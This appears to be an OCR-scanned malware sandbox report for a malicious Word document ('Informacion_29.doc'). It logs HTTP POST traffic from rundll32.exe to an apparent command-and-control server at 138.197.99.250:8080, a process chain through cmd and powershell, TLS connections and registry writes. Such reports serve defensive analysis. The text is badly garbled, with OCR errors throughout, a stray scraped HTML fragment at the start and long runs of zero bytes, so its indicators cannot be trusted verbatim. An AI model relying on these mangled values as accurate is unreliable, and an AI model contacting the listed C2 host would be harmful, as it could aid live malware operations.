Data Ascii: 20ee<!doctype html >...[if IE 8]> <html class="ie8" lang="en"> <![endif]-->...[if IE 9]> <html class="ie9"
lang="en"> <![endif]-->...[if gt |IE 8]>...> <html lang="en-US"> ...<![endif]--><head> <title>Page not found | Dr.Andrea Da
vis, Public Health Expert</titte> <meta charset="UTF-8"/> <meta name="viewport" content="width=device-width, init
ial-scale=1.0"> <link rel="pingback" href="http://ketoresetme.com/xmlrpc.php" /> <link rel="icon" type="image/png"
href="https://ketoresetme.com/wp-content/uploads/2020/09/ttt.png"><link rel="dns-prefetch' href="//fonts.googleapis.com’ />
<link rel="dns-prefetch’ href="//s.w.org' /><link rel="alternate" type="application/rss+xml" title="Dr.Andrea Davis, Public He
alth Expert &raquo; Feed" href="https://keto

Destination IP Destination Port Process

138.197.99.250 8080 C:\Windows\SysWOW64\rundll32.exe
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kBytes
Timestamp transferred Direction

Jan 7, 2021 5218 ouT
11:54:32.080740929 CET

Jan 7, 2021 5226 IN
11:54:32.489579916 CET

HTTPS Packets

Data

POST /pojcpxbjelqvypvfolyrdgm/3jyit2m1109dcs3q5kt/4thdprpbuzlqz/rfz2dy2jzdc4/o5jeelwiaalpjyl2utx/ HTTP/1.1

DNT: 0

Referer: 138.197.99.250/pojcpxbjelqvypvfo/yrdgm/3jyit2m1109dcs3q5kt/4thdprpbuz1qz/rfz2dy2jzdc4/o5jeelwiaalpjyl2utx/
Content-Type: multipart/form-data; boundary=- jHDY90euzPzg6fZb1Cxtn

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW®64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR
2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: 138.197.99.250:8080

Content-Length: 6500

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 07 Jan 2021 10:54:32 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 62 63 34 0d Oa el 0f Oa 8c 6a 33 6¢ 19 dd 31 1e 66 30 f9 e4 a8 c5 9b 94 e5 51 7 89 8b dc f4 23 5f 52 e3 Oc 29
c7 b8 8e 2d 2e be 6e c3 ae 69 c¢6 97 09 d7 05 50 97 bb d0 el ca 3d 99 76 cf 75 5d c9 8f 59 fO Ob 2b b8 9e 52 43 94 c9 bl
2a e0 b2 6b 03 f8 d6 80 2c a5 1c 3c 51 3a 5b €3 82 b2 70 d4 a0 bf 70 17 al d4 7e ab e9 14 9f 7f a2 67 30 6e 44 6d df 30
b4 01 77 70 3a b6 34 ba 11 a7 d4 fd 93 93 a6 99 de e5 61 e7 70 d9 c4 86 02 4c 7c 5a d6 al 88 cd 6a 42 87 89 59 87 11 f9
b0 57 35 68 f5 92 f9 ee c6 b2 21 64 36 €9 6a de f9 Oc fa 2a aa 7 56 05 18 4a 7f d5 10 5d da c4 48 5 32 07 6¢ 36 be 0d
b4 52 8c 1b 5a 8a e2 ff f0 77 51 e4 83 d5 cb 9b 75 15 1c c9 a9 c6 b5 8e 4c 62 23 b4 ab b5 9a d4 93 d0 20 3d fd b7 e0 7a
54 60 fb 3f 0d 68 21 4c 41 7e d0 72 29 96 59 60 b3 27 9f e2 ff 8e f5 74 25 7e ec d1 4d 23 bf 31 34 b7 6e b2 03 57 42 6¢ €9
c2 64 e5 7218 b5 b2 3e d7 93 f0 75 a6 3b ce 46 3a 16 70 e8 5¢ f6 51 6f 3e 49 cd f8 06 a8 aa af 4f 2a 59 85 ef cO ca 54 63
2311 67 b1 6b 9f 5b 07 1d 18 9b e4 f4 13 b2 8c 62 bc 76 ac 95 4a €9 39 e4 40 40 e5 d0 21 d1 1d ae 38 42 02 e0 5f 52 f9
03 67 7d c2 6b 6f al 29 04 1c 95 57 4a 6b ee cc c5 6e c2 b7 d7 bl 14 b6 a9 dc d4 al 14 26 7a 09 dc 72 08 96 03 5d 66 72
8b 05 de 1f 62 b4 ff 4f dc 97 28 47 1a ac cf 80 53 0b fd 33 f6 f5 22 43 8¢ 03 5¢ a2 57 77 41 0d a5 44 b2 c9 c9 6¢ 8e 7f 51
40 4d 37 c2 2e a6 88 4c dd e7 c8 59 9c Oc 6e €0 ed fc 3a ee 72 29 06 8b e4 da 12 ce 45 2f 1a 98 d4 el b6 db f1 96 c5 db
cc 9a 4b 28 2b 53 8d a4 48 d5 58 d9 54 6e fe cf €2 90 3e 5e d1 e2 ff 26 9d b8 85 92 53 ef 02 cf f0 c4 45 b4 70 17 19 15 d8
08 69 9d dO 57 e8 8f a7 48 23 24 60 b7 2b 09 49 f6 46 30 40 1b 1c d8 5c da 3a 37 9e 61 98 4c 6d 8a a2 62 e6 9f 51 2a 57
89 0a 8d 67 bf 4a 07 f1 58 b2 53 €3 98 72 4e 64 12 54 20 61 a4 92 68 61 20 56 5c b0 69 dd e3 40 b8 52 b1 43 37 b6 2b a4
46 f0 88 27 49 a4 6d a5 1d b4 7f f3 €6 95 ee 65 a2 c4 ec 9d b0 74 37 f0 0d 09 3c d6 51 84 74 d6 ce a7 9c Oc 03 c2 83 d8
34 b6 91 98 d0 db 1a 79 14 d2 56 fd ba 41 91 ee 95 46 cb fc 6e 97 2f 5f 1e 74 a2 f9 f9 d2 39 54 5d 04 35 d5 44 b6 6a ff a2
6b 3d 9b e2 75 fd 16 7e f6 7f 79 eb Ob c2 ae f1 96 9¢c 9b bb 09 ec b0 f4 Ob 24 79 ea f9 3d 71 08 42 e2 15 35 88 21 b0 c4
a7 4d 16 d1 e9 1a f1 7f 26 d3 85 Oe 22 1f b7 84 a3 ff d3 bd 5f dd 69 62 fc a4 7e d9 5d c6 4e 92 42 60 9b 5d 0d 0f 69 8e 37
15 fc 44 2d 90 7d c¢3 51 1d 3f 62 f0 81 55 2e 5d 66 4e 6d a7 1f 4a 31 ee 4c b2 1f eb 50 b1 ab al 33 9f 10 ee 9f c1 7b 32 43
d3 4b 36 79 56 81 39 da 90 7c b9 4a 5f b3 14 18 1f d7 ec cl 2 ef {8 ee e6 8f ed 96 05 7b f8 38 8f c8 f8 1d 2d fd fd 97 54 2c
66 d2 6a 8b ca 71 €9 82 dd f9 86 5d bc 00 23 79 Oc 40 al 3e 32 35 26 48 1f 53 78 b0 9a 9b 18 1a d5 47 8a 75 43 b3 92 02
a9 9c 67 cb 67 03 01 5e 04 b8 ab 27 ab 59 aa dc 88 a4 03 e4 31 4f cd 24 45 76 ab 4c 54 98 80 9c 7d 81 39 50 eb 32 98 60
b8 aa 6f 20 53 04 d3 e3 cc 5f f5 1c 4d 8d 60 b1 ca 74 44 49 74 bd 61 23 e2 7f €3 be c1 al 5f 89 e8 33 8¢ 2f d9 3b 04 5b 37
48 05 5e 0d f9 12 4d 30 d1 dd 40 b1 33 51 39 9c 26 d4 05 la da 87 e7 64 el 10 b2 bb 25 ca 99 05 38 db cd 58 69 d5 fc al
76 79 1f fd 2e d6 84 f6 69 4d e4 8e f6 93 ¢7 23 32 25 54 dd af 13 4a 5a 10 4d 8b d3 e4 84 11 f6 b2 32 00 8f 92 f0 1d fa d3
Oc c7 fb 2c 53 7a a8 3b 56 08 39 cc 3a 05 f5 75 0f 7e 15 e6 6 94 9¢ 52 47 96 87 90 14 f3 93 df 51 66 16 5 40 80 a4 el 1b
16 ¢c6 77 1e 15 70 04 a5 7a 53 f5 02 52 0a 2b e5 e7 b2 d1 70 b7 99 7b 5¢ bc 55 40 al 3e c¢7 32 el ba 4b da 1e 4d 28 40
27 4b d8 30 99 fc d5 7f f4 97 b5 b7 98 8d 34 51 €9 46 al 99 d7 af 75 12

Data Ascii: bc4j311f0Q#_R)-.niP=vu]Y+RC*k,<Q:[pp~gOnDmOwp:4apL |ZjBYW5h!d6j*VIJH216RZwQuLb# =zT ?h!LA
~1)Y"'t%~M#14nWBIdr>u;F:p\Qo>10*Y Tc#gk[bvJ9@ @!8B_Rg}ko)WJIkn&zr]frbO(GS3"C\WwWADIQ@M7.LYn:r)
E/K(+SHXTn>"&SEpiWH#$ +IFO@\:7aLmbQ*WgJXSrNdT aha VNi@RC7+F'Imet7<QtdyVAFn/_t9T]5Djk=u~y$y
=gB5!M&"_ib~]NB']i7D-}Q?bU.]INmJI1LP3{2CK6YV9|J_{8-Tfigl#y@>25&HSXxGUCygNY1O$EVLTIOP2 0 S_M'tDIta#_3/;
[7TH"MO@3Q9&d%8Xivy.iM#2%TIZM2,Sz;VI:u~RGQf@wpzSR+p{\U@>2KM(@'K04QFu

Source Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Jan 7, 2021 58.97.195.135 443 192.168.2.3 49722 CN=cambohire.com CN=R3, CN=R3, O=Let's Tue Dec Mon Mar 771,49196-49195-  3b5074b1b5d032e5620f6
11:53:23.490322113 O=Let's Encrypt, C=US Encrypt, C=US 29 29 49200-49199-159-  9f9f700ffOe
CET CN=DST Root CA  17:03:31 18:03:31 158-49188-49187-
X3, O=Digital CET CEST  49192-49191-49162-
Signature Trust Co. 2020 2021 49161-49172-49171-
Wed Oct Wed 157-156-61-60-53-
07 Sep29 47-10,0-10-11-13-
21:21:40 21:21:40 35-23-65281,29-23-
CEST CEST 24,0
2020 2021
CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct Wed
C=USs X3, O=Digital 07 Sep 29
Signature Trust Co. 21:21:40 21:21:40
CEST CEST
2020 2021
Jan 7, 2021 35.214.169.246 443 192.168.2.3 49723 CN=d-cem.com CN=R3, CN=R3, O=Let's SatJan Fri Apr  771,49196-49195-  3b5074b1b5d032e5620f6
11:53:23.962385893 O=Let's Encrypt, C=US Encrypt, C=US 02 02 49200-49199-159-  9f9f700ffOe
CET CN=DST Root CA  14:34:24 15:34:24 158-49188-49187-
X3, O=Digital CET CEST  49192-49191-49162-

Copyright null 2021

Signature Trust Co. 2021 2021 49161-49172-49171-
Wed Oct Wed 157-156-61-60-53-
07 Sep 29 47-10,0-10-11-13-
21:21:40 21:21:40 35-23-65281,29-23-
CEST CEST 240
2020 2021
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Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct Wed
C=US X3, O=Digital 07 Sep 29
Signature Trust Co. 21:21:40 21:21:40
CEST  CEST
2020 2021

Code Manipulations

Statistics

Behavior

@ WINWORD.EXE
® cmd.exe

@ conhost.exe

@ msg.exe

@ powershell.exe
@ svchost.exe

@ svchost.exe

@ svchost.exe

©® rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ svchost.exe

@ svchost.exe

@ svchost.exe

@ SgrmBroker.exe
@ svchost.exe

® MpCmdRun.exe
@ conhost.exe

@

System Behavior

Click to jump to process

Analysis Process: WINWORD.EXE PID: 6804 Parent PID: 792

General

Start time: 11:52:48

Start date: 07/01/2021

Path: C:\Program Files (x86)\Microsoft Office\Office IL6\WINWORD.EXE
Wow64 process (32bit): true

Commandline: ‘C:\Program Files (x86)\Microsoft Office\Office 16\WINWORD.EXE' /Automation -Embedding
Imagebase: 0xeb0000

File size: 1937688 bytes

MD5 hash: 0B9AB9B9C4DE429473D6450D4297A123

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created

Copyright null 2021 Page 44 of 70



File Path Access Attributes Options Completion
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\~DF28FC972E637B396C.TMP read attributes | device synchronous io  success or wait
synchronize | non alert | non
generic read | directory file
generic write
File Deleted
File Path Completion
C:\Users\user\AppData\Local\Temp\~DF28FC972E637B396C.TMP success or wait
File Path Offset Length Value Ascii Completion
File Read
File Path Offset Length Completion
C:\Users\user\Desktop\Informacion_29.doc 0 24 success or wait
Registry Activities
Key Created
Key Path Completion Count
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1 success or wait 1
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.1\Common success or wait 1
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Office\16.0\Word\Text Converters\Import success or wait 1
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\DocumentRecovery success or wait 1
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Resiliency\DocumentRecovery\1FE9F success or wait 1
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations success or wait 1
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations\Document O success or wait 1
Key Value Created
Key Path Name Type Data Completion
HKEY_LOCAL_MACHINE\SOFTWARE\WO Name unicode Recover Text from Any File success or wait
W6432Node\Microsoft\Office\16.0\Word\Text
Converters\Import
HKEY_LOCAL_MACHINE\SOFTWARE\WO Path unicode C:\Program Files (x86)\Common success or wait
W6432Node\Microsoft\Office\16.0\Word\Text Files\Microsoft Shared\TextCon
Converters\Import VIRECOVR32.CNV
HKEY_LOCAL_MACHINE\SOFTWARE\WO Extensions unicode * success or wait
W6432Node\Microsoft\Office\16.0\Word\Text
Converters\Import
HKEY_CURRENT_USER\Software\Microsoft\Shared Cambria Math  binary 02 04 05 03 05 04 06 03 02 04 success or wait
Tools\Panose
HKEY_CURRENT_USER\Software\Microsoft\Shared Tahoma binary 02 0B 06 04 03 05 04 04 02 04 success or wait
Tools\Panose
HKEY_CURRENT_USER\Software\Mic 1FE9F binary 04 00 00 00 94 1A 00 00 2A 00 00 00 43  success or wait

rosoft\Office\16.0\Word\Resili
ency\DocumentRecovery\1FE9F

Copyright null 2021

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 68 00 61 00 72 00 64 00 7A
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 69 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 08 00 00 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00 00
00 00 00 01 00 00 00 00 00 00 00 B6 OF
1F C3 2E E5 D6 01 9F FE 01 00 9F FE 01
00 00 00 00 00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF FF FF FF 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

Source

Count Address Symbol
1 66AD977C unknown
1 66A05805 unknown

Source
Count Address Symbol

1 66A05805 unknown

Source
Count Address Symbol

Source

Count Address Symbol

1 669FAA87 unknown

Source

Address Symbol

66A18A84 RegCreateKeyExA

66A18A84 RegCreateKeyExA

66A18A84 RegCreateKeyExA

66A05805 unknown

66A05805 unknown

66A05805 unknown

66A05805 unknown

66A05805 unknown

Source

Count Address Symbol

1 66A05805 unknown

1 66A05805 unknown

1 66A05805 unknown

1 66A05805 unknown

1 66A05805 unknown

1 66A05805 unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00 00 00 00
PAf0 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address Symbol
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KREPAHURRENT USER\Software\Mic

MEath

rosoft\Office\16.0\Word\Reading Locations\Document O

HKEY_CURRENT_USER\Software\Mic

Datetime

rosoft\Office\16.0\Word\Reading Locations\Document O

HKEY_CURRENT_USER\Software\Mic

Position

rosoft\Office\16.0\Word\Reading Locations\Document O

Key Value Modified

Key Path Name
HKEY_LOCAL_MACHINE\SOFT ProductFiles
WARE\Mi

crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\000061091100000000000
00000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\000061091100000000000
00000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\Import

HKEY_LOCAL_MACHINE\SOFT
WARE\WO
W6432Node\Microsoft\Office\16.
0\Word\Text Converters\import

HKEY_CURRENT_USER\Softwar 1FE9F
e\Mic

rosoft\Office\16.0\Word\Resili
ency\DocumentRecovery\1FE9F

ProductFiles

Name

Path

Extensions

Name

Path

Extensions

Copyright null 2021

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

binary

FF FF FF FF 00 00 00 00 00 00 00 00

¥R de eaf?sers\user\AppData\LocaI\Te
mp\imgs.htm
unicode 2021-01-07T11:53
unicode 00
Old Data New Data
1378287631 1378287632
1378287632 1378287633

Recover Text from Any File

C:\Program Files (x86)\Common
Files\Microsoft Shared\TextCon
VIRECOVR32.CNV

WordPerfect 5.x

C:\Program Files (x86)\Common
Files\Microsoft Shared\TextCon
VIWWPFT532.CNV

doc

04 00 00 00 94 1A 00 00 2A 00
00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00
68 00 61 00 72 00 64 00 7A 00
5C 00 41 00 70 00 70 00 44 00
61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00
69 00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 08 00 00 00
69 00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 00 00 00 00
01 00 00 00 00 00 00 00 B6 OF
1F C3 2E E5 D6 01 9F FE 01 00
9F FE 01 00 00 00 00 00 DB 04
00 00 02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF FF
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

WordPerfect 5.x

C:\Program Files (x86)\Common
Files\Microsoft Shared\TextCon
VIWWPFT532.CNV

doc

WordPerfect 6.x - 7.0

C:\Program Files (x86)\Common
Files\Microsoft Shared\TextCon
VIWWPFT632.CNV

wpd doc

04 00 00 00 94 1A 00 00 2A 00
00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00
68 00 61 00 72 00 64 00 7A 00
5C 00 41 00 70 00 70 00 44 00
61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00
69 00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 08 00 00 00
69 00 6D 00 67 00 73 00 2E 00
68 00 74 00 6D 00 00 00 00 00
01 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 9F FE 01 00
9F FE 01 00 00 00 00 00 DB 04
00 00 02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF FF
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

SRRSO ait

success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

&':ount

Count

Source

bsleb8ass
66A05805

66A05805

Source
Address

66A05805

66A05805

66A05805

66A05805

66A05805

66A05805

66A05805

66A05805

66A05805

SHEBRh

unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
2AcPB QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRHO0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
